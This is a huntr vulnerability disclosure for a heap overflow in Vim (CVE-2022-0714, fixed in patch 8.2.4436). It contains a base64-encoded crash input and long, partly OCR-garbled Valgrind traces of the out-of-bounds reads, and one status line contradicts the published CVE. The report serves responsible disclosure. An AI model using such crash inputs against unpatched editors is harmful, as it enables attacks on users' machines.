huntr

Heap-based Buffer Overflow in vim/vim



Reported on Feb 21st 2022

Description

Heap overflow occurs in win_lbr_chartabsize(). commit:592f6250017c31c8996325403e511f4502077ba5

Proof of Concept

```
# poc
$ echo -ne "c2UgZW5jb2Rpbmc9aXNvODg1OQpub3JtOnNlIAEbCnNlIHZhcnRhYnN0b3A9ND/
CQQ=" | base64 -d > poc
# Valgrind
$ ~/valgrind/vg-in-place -s ~/vim-debug/src/vim -u NONE -i NONE -n -X -Z -&
==455737== Invalid read of size 1
             at 0x411703: win lbr chartabsize (charset.c:961)
==455737==
             by 0x41166A: lbr chartabsize (charset.c:916)
==455737==
             by 0x228448: change indent (indent.c:1341)
==455737==
             by 0x194CEE: ins shift (edit.c:3893)
==455737==
==455737==
             by 0x1903E8: edit (edit.c:956)
==455737==
             by 0x279F49: invoke edit (normal.c:6983)
==455737==
             by 0x279EC1: nv edit (normal.c:6953)
==455737==
             by 0x26EB0D: normal cmd (normal.c:930)
             by 0x1DC337: exec normal (ex docmd.c:8657)
==455737==
             by 0x1DC27B: exec_normal_cmd (ex_docmd.c:8620)
==455737==
             by 0x1DC089: ex normal (ex docmd.c:8538)
==455737==
              by 0x1D0F91: do one cmd (ex docmd.c:2567)
==455737==
==455737== Address 0x68257b6 is 0 bytes after a block of size 6 alloc'd
==455737==
              at 0x483C855: malloc (vg_replace_malloc.c:381)
             by 0x13F450: lalloc (alloc.c:248)
==455737==
                                                                Chat with us
             by 0x13F2EF: alloc (alloc.c:151)
==455737==
             by 0x22703C: set indent (indent.c:682)
==455737==
```

0

```
by 0x27B0E7: shift line (ops.c:269)
==455737==
             by 0x228352: change indent (indent.c:1302)
==455737==
             by 0x194CEE: ins_shift (edit.c:3893)
==455737==
             by 0x1903E8: edit (edit.c:956)
==455737==
             by 0x279F49: invoke edit (normal.c:6983)
==455737==
             by 0x279EC1: nv_edit (normal.c:6953)
==455737==
==455737==
             by 0x26EB0D: normal cmd (normal.c:930)
==455737==
              by 0x1DC337: exec normal (ex docmd.c:8657)
==455737==
==455737== Invalid read of size 1
==455737==
             at 0x411064: win chartabsize (charset.c:737)
             by 0x4117F7: win lbr chartabsize (charset.c:980)
==455737==
             by 0x41166A: lbr_chartabsize (charset.c:916)
==455737==
==455737==
             by 0x228448: change_indent (indent.c:1341)
             by 0x194CEE: ins shift (edit.c:3893)
==455737==
==455737==
             by 0x1903E8: edit (edit.c:956)
==455737==
             by 0x279F49: invoke edit (normal.c:6983)
==455737==
             by 0x279EC1: nv edit (normal.c:6953)
             by 0x26EB0D: normal_cmd (normal.c:930)
==455737==
             by 0x1DC337: exec normal (ex docmd.c:8657)
==455737==
             by 0x1DC27B: exec normal cmd (ex docmd.c:8620)
==455737==
==455737==
              by 0x1DC089: ex normal (ex docmd.c:8538)
==455737== Address 0x68257b6 is 0 bytes after a block of size 6 alloc'd
==455737==
              at 0x483C855: malloc (vg replace malloc.c:381)
             by 0x13F450: lalloc (alloc.c:248)
==455737==
             by 0x13F2EF: alloc (alloc.c:151)
==455737==
==455737==
             by 0x22703C: set indent (indent.c:682)
             by 0x27B0E7: shift line (ops.c:269)
==455737==
             by 0x228352: change indent (indent.c:1302)
==455737==
             by 0x194CEE: ins shift (edit.c:3893)
==455737==
             by 0x1903E8: edit (edit.c:956)
==455737==
==455737==
             by 0x279F49: invoke edit (normal.c:6983)
             by 0x279EC1: nv edit (normal.c:6953)
==455737==
             by 0x26EB0D: normal cmd (normal.c:930)
==455737==
              by 0x1DC337: exec normal (ex docmd.c:8657)
==455737==
==455737==
==455737== Invalid read of size 1
==455737==
            at 0x410EFF: ptr2cells (charset.c:663)
                                                                Chat with us
             by 0x4110C0: win chartabsize (charset.c:737)
==455737==
==455737==
             by 0x4117F7: win lbr chartabsize (charset.c:980)
```

```
by 0x41166A: Ibr chartabsize (charset.c:916)
==455/3/==
==455737==
             by 0x228448: change indent (indent.c:1341)
             by 0x194CEE: ins shift (edit.c:3893)
==455737==
==455737==
             by 0x1903E8: edit (edit.c:956)
             by 0x279F49: invoke edit (normal.c:6983)
==455737==
             by 0x279EC1: nv_edit (normal.c:6953)
==455737==
==455737==
             by 0x26EB0D: normal cmd (normal.c:930)
             by 0x1DC337: exec normal (ex docmd.c:8657)
==455737==
             by 0x1DC27B: exec_normal_cmd (ex_docmd.c:8620)
==455737==
           Address 0x68257b6 is 0 bytes after a block of size 6 alloc'd
==455737==
==455737==
              at 0x483C855: malloc (vg replace malloc.c:381)
             by 0x13F450: lalloc (alloc.c:248)
==455737==
             by 0x13F2EF: alloc (alloc.c:151)
==455737==
==455737==
             by 0x22703C: set_indent (indent.c:682)
             by 0x27B0E7: shift line (ops.c:269)
==455737==
==455737==
             by 0x228352: change indent (indent.c:1302)
==455737==
             by 0x194CEE: ins shift (edit.c:3893)
==455737==
             by 0x1903E8: edit (edit.c:956)
             by 0x279F49: invoke edit (normal.c:6983)
==455737==
             by 0x279EC1: nv edit (normal.c:6953)
==455737==
==455737==
             by 0x26EB0D: normal cmd (normal.c:930)
==455737==
              by 0x1DC337: exec normal (ex docmd.c:8657)
==455737==
==455737== Invalid read of size 1
             at 0x4117FF: win lbr chartabsize (charset.c:981)
==455737==
             by 0x41166A: lbr chartabsize (charset.c:916)
==455737==
==455737==
             by 0x228448: change indent (indent.c:1341)
             by 0x194CEE: ins shift (edit.c:3893)
==455737==
==455737==
             by 0x1903E8: edit (edit.c:956)
             by 0x279F49: invoke edit (normal.c:6983)
==455737==
             by 0x279EC1: nv edit (normal.c:6953)
==455737==
==455737==
             by 0x26EB0D: normal_cmd (normal.c:930)
             by 0x1DC337: exec normal (ex docmd.c:8657)
==455737==
             by 0x1DC27B: exec normal cmd (ex docmd.c:8620)
==455737==
             by 0x1DC089: ex normal (ex docmd.c:8538)
==455737==
             by 0x1D0F91: do one cmd (ex docmd.c:2567)
==455737==
==455737==
           Address 0x68257b6 is 0 bytes after a block of size 6 alloc'd
==455737==
              at 0x483C855: malloc (vg replace malloc.c:381)
                                                               Chat with us
==455737==
             by 0x13F450: lalloc (alloc.c:248)
==455737==
             by 0x13F2EF: alloc (alloc.c:151)
```

```
by Ux22/U3C: set indent (indent.c:682)
==455/3/==
             by 0x27B0E7: shift line (ops.c:269)
==455737==
==455737==
             by 0x228352: change indent (indent.c:1302)
             by 0x194CEE: ins shift (edit.c:3893)
==455737==
==455737==
             by 0x1903E8: edit (edit.c:956)
             by 0x279F49: invoke edit (normal.c:6983)
==455737==
==455737==
             by 0x279EC1: nv edit (normal.c:6953)
             by 0x26EB0D: normal cmd (normal.c:930)
==455737==
             by 0x1DC337: exec_normal (ex_docmd.c:8657)
==455737==
==455737==
==455737== Invalid read of size 1
==455737==
             at 0x411859: win lbr chartabsize (charset.c:991)
             by 0x41166A: lbr_chartabsize (charset.c:916)
==455737==
==455737==
             by 0x228448: change_indent (indent.c:1341)
             by 0x194CEE: ins shift (edit.c:3893)
==455737==
==455737==
             by 0x1903E8: edit (edit.c:956)
==455737==
             by 0x279F49: invoke edit (normal.c:6983)
==455737==
             by 0x279EC1: nv edit (normal.c:6953)
             by 0x26EB0D: normal cmd (normal.c:930)
==455737==
             by 0x1DC337: exec normal (ex docmd.c:8657)
==455737==
             by 0x1DC27B: exec normal cmd (ex docmd.c:8620)
==455737==
==455737==
             by 0x1DC089: ex normal (ex docmd.c:8538)
             by 0x1D0F91: do one cmd (ex docmd.c:2567)
==455737==
==455737==
           Address 0x68257e1 is 31 bytes before an unallocated block of si
==455737==
==455737== Invalid read of size 1
==455737==
              at 0x246322: latin ptr2len (mbyte.c:1082)
             by 0x411916: win lbr chartabsize (charset.c:1013)
==455737==
             by 0x41166A: lbr chartabsize (charset.c:916)
==455737==
             by 0x228448: change indent (indent.c:1341)
==455737==
             by 0x194CEE: ins shift (edit.c:3893)
==455737==
==455737==
             by 0x1903E8: edit (edit.c:956)
             by 0x279F49: invoke edit (normal.c:6983)
==455737==
             by 0x279EC1: nv edit (normal.c:6953)
==455737==
             by 0x26EB0D: normal cmd (normal.c:930)
==455737==
             by 0x1DC337: exec normal (ex docmd.c:8657)
==455737==
==455737==
             by 0x1DC27B: exec normal cmd (ex docmd.c:8620)
              by 0x1DC089: ex normal (ex docmd.c:8538)
==455737==
                                                                Chat with us
==455737== Address 0x68257e0 is 32 bytes before an unalloc
==455737==
```

```
==455/3/== Invalid read of size 1
==455737==
             at 0x411921: win_lbr_chartabsize (charset.c:1014)
             by 0x41166A: lbr chartabsize (charset.c:916)
==455737==
             by 0x228448: change indent (indent.c:1341)
==455737==
             by 0x194CEE: ins shift (edit.c:3893)
==455737==
             by 0x1903E8: edit (edit.c:956)
==455737==
==455737==
             by 0x279F49: invoke edit (normal.c:6983)
             by 0x279EC1: nv edit (normal.c:6953)
==455737==
             by 0x26EB0D: normal_cmd (normal.c:930)
==455737==
             by 0x1DC337: exec_normal (ex_docmd.c:8657)
==455737==
==455737==
             by 0x1DC27B: exec normal cmd (ex docmd.c:8620)
             by 0x1DC089: ex_normal (ex_docmd.c:8538)
==455737==
             by 0x1D0F91: do_one_cmd (ex_docmd.c:2567)
==455737==
==455737==
           Address 0x68257e1 is 31 bytes before an unallocated block of si
==455737==
==455737== Invalid read of size 1
==455737==
             at 0x411064: win chartabsize (charset.c:737)
==455737==
             by 0x4119B4: win lbr chartabsize (charset.c:1021)
             by 0x41166A: lbr chartabsize (charset.c:916)
==455737==
             by 0x228448: change indent (indent.c:1341)
==455737==
             by 0x194CEE: ins shift (edit.c:3893)
==455737==
==455737==
             by 0x1903E8: edit (edit.c:956)
             by 0x279F49: invoke edit (normal.c:6983)
==455737==
==455737==
             by 0x279EC1: nv edit (normal.c:6953)
             by 0x26EB0D: normal_cmd (normal.c:930)
==455737==
             by 0x1DC337: exec normal (ex docmd.c:8657)
==455737==
==455737==
             by 0x1DC27B: exec normal cmd (ex docmd.c:8620)
             by 0x1DC089: ex normal (ex docmd.c:8538)
==455737==
==455737==
           Address 0x68257e1 is 31 bytes before an unallocated block of si
==455737==
==455737== Invalid read of size 1
==455737==
             at 0x410EFF: ptr2cells (charset.c:663)
             by 0x4110C0: win chartabsize (charset.c:737)
==455737==
             by 0x4119B4: win lbr chartabsize (charset.c:1021)
==455737==
             by 0x41166A: lbr chartabsize (charset.c:916)
==455737==
             by 0x228448: change indent (indent.c:1341)
==455737==
==455737==
             by 0x194CEE: ins shift (edit.c:3893)
             by 0x1903E8: edit (edit.c:956)
==455737==
                                                                Chat with us
             by 0x279F49: invoke edit (normal.c:6983)
==455737==
              by 0x279EC1: nv edit (normal.c:6953)
==455737==
```

```
by @x26EB@D: normal cmd (normal.c:930)
==455/3/==
==455737==
             by 0x1DC337: exec_normal (ex_docmd.c:8657)
             by 0x1DC27B: exec normal cmd (ex docmd.c:8620)
==455737==
==455737== Address 0x68257e1 is 31 bytes before an unallocated block of si
==455737==
==455737== Invalid read of size 1
==455737==
             at 0x411984: win lbr chartabsize (charset.c:1018)
             by 0x41166A: lbr chartabsize (charset.c:916)
==455737==
             by 0x228448: change indent (indent.c:1341)
==455737==
             by 0x194CEE: ins_shift (edit.c:3893)
==455737==
==455737==
             by 0x1903E8: edit (edit.c:956)
==455737==
             by 0x279F49: invoke edit (normal.c:6983)
             by 0x279EC1: nv_edit (normal.c:6953)
==455737==
==455737==
             by 0x26EB0D: normal_cmd (normal.c:930)
             by 0x1DC337: exec normal (ex docmd.c:8657)
==455737==
             by 0x1DC27B: exec_normal_cmd (ex_docmd.c:8620)
==455737==
             by 0x1DC089: ex normal (ex_docmd.c:8538)
==455737==
==455737==
             by 0x1D0F91: do one cmd (ex docmd.c:2567)
           Address 0x68257e1 is 31 bytes before an unallocated block of si
==455737==
==455737==
==455737==
==455737== HEAP SUMMARY:
==455737==
               in use at exit: 69,853 bytes in 384 blocks
            total heap usage: 3,195 allocs, 2,811 frees, 7,915,811 bytes a
==455737==
==455737==
==455737== LEAK SUMMARY:
            definitely lost: 0 bytes in 0 blocks
==455737==
             indirectly lost: 0 bytes in 0 blocks
==455737==
               possibly lost: 0 bytes in 0 blocks
==455737==
==455737==
             still reachable: 69,853 bytes in 384 blocks
                   suppressed: 0 bytes in 0 blocks
==455737==
==455737== Rerun with --leak-check=full to see details of leaked memory
==455737==
==455737== ERROR SUMMARY: 672 errors from 10 contexts (suppressed: 0 from (
==455737==
==455737== 1 errors in context 1 of 10:
==455737== Invalid read of size 1
==455737== at 0x411984: win lbr chartabsize (charset.c:1010
                                                               Chat with us
            by 0x41166A: lbr chartabsize (charset.c:916)
==455737==
             by 0x228448: change indent (indent.c:1341)
==455737==
```

```
by UX194CEE: ins shift (edit.c:3893)
==455/3/==
             by 0x1903E8: edit (edit.c:956)
==455737==
==455737==
             by 0x279F49: invoke edit (normal.c:6983)
==455737==
             by 0x279EC1: nv edit (normal.c:6953)
             by 0x26EB0D: normal cmd (normal.c:930)
==455737==
             by 0x1DC337: exec_normal (ex_docmd.c:8657)
==455737==
==455737==
             by 0x1DC27B: exec normal cmd (ex docmd.c:8620)
             by 0x1DC089: ex normal (ex docmd.c:8538)
==455737==
             by 0x1D0F91: do_one_cmd (ex_docmd.c:2567)
==455737==
            Address 0x68257e1 is 31 bytes before an unallocated block of si
==455737==
==455737==
==455737==
==455737== 1 errors in context 2 of 10:
==455737== Invalid read of size 1
             at 0x411859: win lbr chartabsize (charset.c:991)
==455737==
==455737==
             by 0x41166A: lbr chartabsize (charset.c:916)
==455737==
             by 0x228448: change indent (indent.c:1341)
             by 0x194CEE: ins shift (edit.c:3893)
==455737==
             by 0x1903E8: edit (edit.c:956)
==455737==
             by 0x279F49: invoke edit (normal.c:6983)
==455737==
             by 0x279EC1: nv edit (normal.c:6953)
==455737==
==455737==
             by 0x26EB0D: normal cmd (normal.c:930)
             by 0x1DC337: exec normal (ex docmd.c:8657)
==455737==
             by 0x1DC27B: exec normal cmd (ex docmd.c:8620)
==455737==
             by 0x1DC089: ex normal (ex docmd.c:8538)
==455737==
             by 0x1D0F91: do one cmd (ex docmd.c:2567)
==455737==
==455737==
            Address 0x68257e1 is 31 bytes before an unallocated block of si
==455737==
==455737==
==455737== 2 errors in context 3 of 10:
==455737== Invalid read of size 1
==455737==
             at 0x410EFF: ptr2cells (charset.c:663)
             by 0x4110C0: win chartabsize (charset.c:737)
==455737==
             by 0x4119B4: win lbr chartabsize (charset.c:1021)
==455737==
             by 0x41166A: lbr chartabsize (charset.c:916)
==455737==
             by 0x228448: change indent (indent.c:1341)
==455737==
==455737==
             by 0x194CEE: ins shift (edit.c:3893)
             by 0x1903E8: edit (edit.c:956)
==455737==
                                                                Chat with us
             by 0x279F49: invoke edit (normal.c:6983)
==455737==
==455737==
              by 0x279EC1: nv edit (normal.c:6953)
```

```
by @x26EB@D: normal cmd (normal.c:930)
==455/3/==
==455737==
             by 0x1DC337: exec_normal (ex_docmd.c:8657)
              by 0x1DC27B: exec normal cmd (ex docmd.c:8620)
==455737==
==455737== Address 0x68257e1 is 31 bytes before an unallocated block of si
==455737==
==455737==
==455737== 2 errors in context 4 of 10:
==455737== Invalid read of size 1
              at 0x411064: win chartabsize (charset.c:737)
==455737==
              by 0x4119B4: win_lbr_chartabsize (charset.c:1021)
==455737==
==455737==
             by 0x41166A: lbr chartabsize (charset.c:916)
==455737==
             by 0x228448: change indent (indent.c:1341)
             by 0x194CEE: ins_shift (edit.c:3893)
==455737==
==455737==
             by 0x1903E8: edit (edit.c:956)
             by 0x279F49: invoke edit (normal.c:6983)
==455737==
==455737==
             by 0x279EC1: nv_edit (normal.c:6953)
==455737==
             by 0x26EB0D: normal cmd (normal.c:930)
==455737==
             by 0x1DC337: exec normal (ex docmd.c:8657)
             by 0x1DC27B: exec_normal_cmd (ex_docmd.c:8620)
==455737==
              by 0x1DC089: ex normal (ex docmd.c:8538)
==455737==
==455737==
           Address 0x68257e1 is 31 bytes before an unallocated block of si
==455737==
==455737==
==455737== 3 errors in context 5 of 10:
==455737== Invalid read of size 1
              at 0x411921: win lbr chartabsize (charset.c:1014)
==455737==
             by 0x41166A: lbr_chartabsize (charset.c:916)
==455737==
             by 0x228448: change indent (indent.c:1341)
==455737==
             by 0x194CEE: ins shift (edit.c:3893)
==455737==
             by 0x1903E8: edit (edit.c:956)
==455737==
==455737==
             by 0x279F49: invoke edit (normal.c:6983)
==455737==
             by 0x279EC1: nv edit (normal.c:6953)
             by 0x26EB0D: normal cmd (normal.c:930)
==455737==
             by 0x1DC337: exec normal (ex docmd.c:8657)
==455737==
==455737==
             by 0x1DC27B: exec normal cmd (ex docmd.c:8620)
             by 0x1DC089: ex normal (ex docmd.c:8538)
==455737==
              by 0x1D0F91: do one cmd (ex docmd.c:2567)
==455737==
           Address 0x68257e1 is 31 bytes before an unallocat
==455737==
                                                                Chat with us
==455737==
==455737==
```

```
==455/3/== 3 errors in context 6 of 10:
==455737== Invalid read of size 1
==455737==
            at 0x246322: latin ptr2len (mbyte.c:1082)
             by 0x411916: win lbr chartabsize (charset.c:1013)
==455737==
             by 0x41166A: lbr chartabsize (charset.c:916)
==455737==
             by 0x228448: change indent (indent.c:1341)
==455737==
==455737==
             by 0x194CEE: ins shift (edit.c:3893)
==455737==
             by 0x1903E8: edit (edit.c:956)
             by 0x279F49: invoke_edit (normal.c:6983)
==455737==
             by 0x279EC1: nv edit (normal.c:6953)
==455737==
==455737==
             by 0x26EB0D: normal cmd (normal.c:930)
             by 0x1DC337: exec normal (ex docmd.c:8657)
==455737==
             by 0x1DC27B: exec_normal_cmd (ex_docmd.c:8620)
==455737==
==455737==
             by 0x1DC089: ex_normal (ex_docmd.c:8538)
==455737== Address 0x68257e0 is 32 bytes before an unallocated block of si
==455737==
==455737==
==455737== 165 errors in context 7 of 10:
==455737== Invalid read of size 1
             at 0x4117FF: win lbr chartabsize (charset.c:981)
==455737==
             by 0x41166A: lbr chartabsize (charset.c:916)
==455737==
==455737==
             by 0x228448: change indent (indent.c:1341)
             by 0x194CEE: ins shift (edit.c:3893)
==455737==
==455737==
             by 0x1903E8: edit (edit.c:956)
             by 0x279F49: invoke edit (normal.c:6983)
==455737==
             by 0x279EC1: nv edit (normal.c:6953)
==455737==
==455737==
             by 0x26EB0D: normal cmd (normal.c:930)
             by 0x1DC337: exec normal (ex docmd.c:8657)
==455737==
             by 0x1DC27B: exec_normal_cmd (ex_docmd.c:8620)
==455737==
             by 0x1DC089: ex normal (ex docmd.c:8538)
==455737==
==455737==
              by 0x1D0F91: do one cmd (ex docmd.c:2567)
==455737==
           Address 0x68257b6 is 0 bytes after a block of size 6 alloc'd
             at 0x483C855: malloc (vg replace malloc.c:381)
==455737==
             by 0x13F450: lalloc (alloc.c:248)
==455737==
             by 0x13F2EF: alloc (alloc.c:151)
==455737==
             by 0x22703C: set indent (indent.c:682)
==455737==
==455737==
             by 0x27B0E7: shift line (ops.c:269)
             by 0x228352: change indent (indent.c:1302)
==455737==
                                                               Chat with us
             by 0x194CEE: ins shift (edit.c:3893)
==455737==
==455737==
             by 0x1903E8: edit (edit.c:956)
```

```
by 0x2/9F49: invoke edit (normal.c:6983)
==455/3/==
==455737==
              by 0x279EC1: nv_edit (normal.c:6953)
              by 0x26EB0D: normal cmd (normal.c:930)
==455737==
              by 0x1DC337: exec normal (ex docmd.c:8657)
==455737==
==455737==
==455737==
==455737== 165 errors in context 8 of 10:
==455737== Invalid read of size 1
              at 0x410EFF: ptr2cells (charset.c:663)
==455737==
              by 0x4110C0: win_chartabsize (charset.c:737)
==455737==
==455737==
              by 0x4117F7: win lbr chartabsize (charset.c:980)
              by 0x41166A: lbr chartabsize (charset.c:916)
==455737==
             by 0x228448: change_indent (indent.c:1341)
==455737==
==455737==
             by 0x194CEE: ins_shift (edit.c:3893)
==455737==
             by 0x1903E8: edit (edit.c:956)
==455737==
             by 0x279F49: invoke edit (normal.c:6983)
==455737==
              by 0x279EC1: nv_edit (normal.c:6953)
==455737==
             by 0x26EB0D: normal cmd (normal.c:930)
              by 0x1DC337: exec normal (ex docmd.c:8657)
==455737==
              by 0x1DC27B: exec normal cmd (ex docmd.c:8620)
==455737==
            Address 0x68257b6 is 0 bytes after a block of size 6 alloc'd
==455737==
==455737==
              at 0x483C855: malloc (vg replace malloc.c:381)
             by 0x13F450: lalloc (alloc.c:248)
==455737==
==455737==
             by 0x13F2EF: alloc (alloc.c:151)
             by 0x22703C: set indent (indent.c:682)
==455737==
             by 0x27B0E7: shift line (ops.c:269)
==455737==
==455737==
             by 0x228352: change indent (indent.c:1302)
             by 0x194CEE: ins shift (edit.c:3893)
==455737==
==455737==
             by 0x1903E8: edit (edit.c:956)
             by 0x279F49: invoke edit (normal.c:6983)
==455737==
              by 0x279EC1: nv edit (normal.c:6953)
==455737==
==455737==
              by 0x26EB0D: normal cmd (normal.c:930)
              by 0x1DC337: exec normal (ex docmd.c:8657)
==455737==
==455737==
==455737==
==455737== 165 errors in context 9 of 10:
==455737== Invalid read of size 1
==455737==
            at 0x411064: win chartabsize (charset.c:737)
                                                                Chat with us
==455737==
             by 0x4117F7: win_lbr_chartabsize (charset.c:9
==455737==
             by 0x41166A: lbr chartabsize (charset.c:916)
```

```
by Ux228448: change_indent (indent.c:1341)
==455/3/==
             by 0x194CEE: ins shift (edit.c:3893)
==455737==
==455737==
             by 0x1903E8: edit (edit.c:956)
             by 0x279F49: invoke edit (normal.c:6983)
==455737==
             by 0x279EC1: nv edit (normal.c:6953)
==455737==
             by 0x26EB0D: normal_cmd (normal.c:930)
==455737==
==455737==
             by 0x1DC337: exec normal (ex docmd.c:8657)
             by 0x1DC27B: exec_normal_cmd (ex_docmd.c:8620)
==455737==
             by 0x1DC089: ex_normal (ex_docmd.c:8538)
==455737==
            Address 0x68257b6 is 0 bytes after a block of size 6 alloc'd
==455737==
==455737==
              at 0x483C855: malloc (vg replace malloc.c:381)
             by 0x13F450: lalloc (alloc.c:248)
==455737==
             by 0x13F2EF: alloc (alloc.c:151)
==455737==
==455737==
             by 0x22703C: set_indent (indent.c:682)
             by 0x27B0E7: shift line (ops.c:269)
==455737==
             by 0x228352: change_indent (indent.c:1302)
==455737==
             by 0x194CEE: ins shift (edit.c:3893)
==455737==
==455737==
             by 0x1903E8: edit (edit.c:956)
             by 0x279F49: invoke edit (normal.c:6983)
==455737==
             by 0x279EC1: nv edit (normal.c:6953)
==455737==
             by 0x26EB0D: normal cmd (normal.c:930)
==455737==
==455737==
             by 0x1DC337: exec normal (ex docmd.c:8657)
==455737==
==455737==
==455737== 165 errors in context 10 of 10:
==455737== Invalid read of size 1
==455737==
              at 0x411703: win lbr chartabsize (charset.c:961)
             by 0x41166A: lbr chartabsize (charset.c:916)
==455737==
             by 0x228448: change indent (indent.c:1341)
==455737==
             by 0x194CEE: ins shift (edit.c:3893)
==455737==
             by 0x1903E8: edit (edit.c:956)
==455737==
==455737==
             by 0x279F49: invoke edit (normal.c:6983)
             by 0x279EC1: nv edit (normal.c:6953)
==455737==
             by 0x26EB0D: normal cmd (normal.c:930)
==455737==
             by 0x1DC337: exec normal (ex docmd.c:8657)
==455737==
             by 0x1DC27B: exec normal cmd (ex docmd.c:8620)
==455737==
==455737==
             by 0x1DC089: ex normal (ex docmd.c:8538)
              by 0x1D0F91: do one cmd (ex docmd.c:2567)
==455737==
                                                                Chat with us
==455737== Address 0x68257b6 is 0 bytes after a block of s
==455737==
              at 0x483C855: malloc (vg replace malloc.c:381)
```

```
by UX13F45U: lalloc (alloc.c:248)
==455/3/==
              by 0x13F2EF: alloc (alloc.c:151)
==455737==
==455737==
              by 0x22703C: set indent (indent.c:682)
              by 0x27B0E7: shift line (ops.c:269)
==455737==
==455737==
              by 0x228352: change indent (indent.c:1302)
              by 0x194CEE: ins_shift (edit.c:3893)
==455737==
==455737==
              by 0x1903E8: edit (edit.c:956)
==455737==
             by 0x279F49: invoke edit (normal.c:6983)
              by 0x279EC1: nv_edit (normal.c:6953)
==455737==
              by 0x26EB0D: normal_cmd (normal.c:930)
==455737==
==455737==
              by 0x1DC337: exec normal (ex docmd.c:8657)
==455737==
==455737== ERROR SUMMARY: 672 errors from 10 contexts (suppressed: 0 from (
```

4

CVE

CVE-2022-0714 (Published)

Vulnerability Type

CWE-122: Heap-based Buffer Overflow

Severity

High (8.4)

Visibility

Public

Status

Fixed

Found by



alkyne Choi

@alkyne

unranked V

Fixed by



Bram Moolenaar

@brammoo

maintainer

Chat with us



This report was seen 985 times

We are processing your report and will contact the vim team within 24 hours. 9 months ago

alkyne Choi modified the report 9 months ago

Bram Moolenaar validated this vulnerability 9 months ago

alkyne Choi has been awarded the disclosure bounty 🗸

The fix bounty is now up for grabs

Bram Moolenaar 9 months ago

Maintainer

Fixed in patch 8.2.4436

Bram Moolenaar marked this as fixed in 8.2 with commit 4e889f 9 months ago

Bram Moolenaar has been awarded the fix bounty 🗸

This vulnerability will not receive a CVE 🗶

Sign in to join this conversation

2022 © 418sed

huntr

part of 418sec

home

company

Chat with us

hacktivity about leaderboard team
FAQ
contact us
terms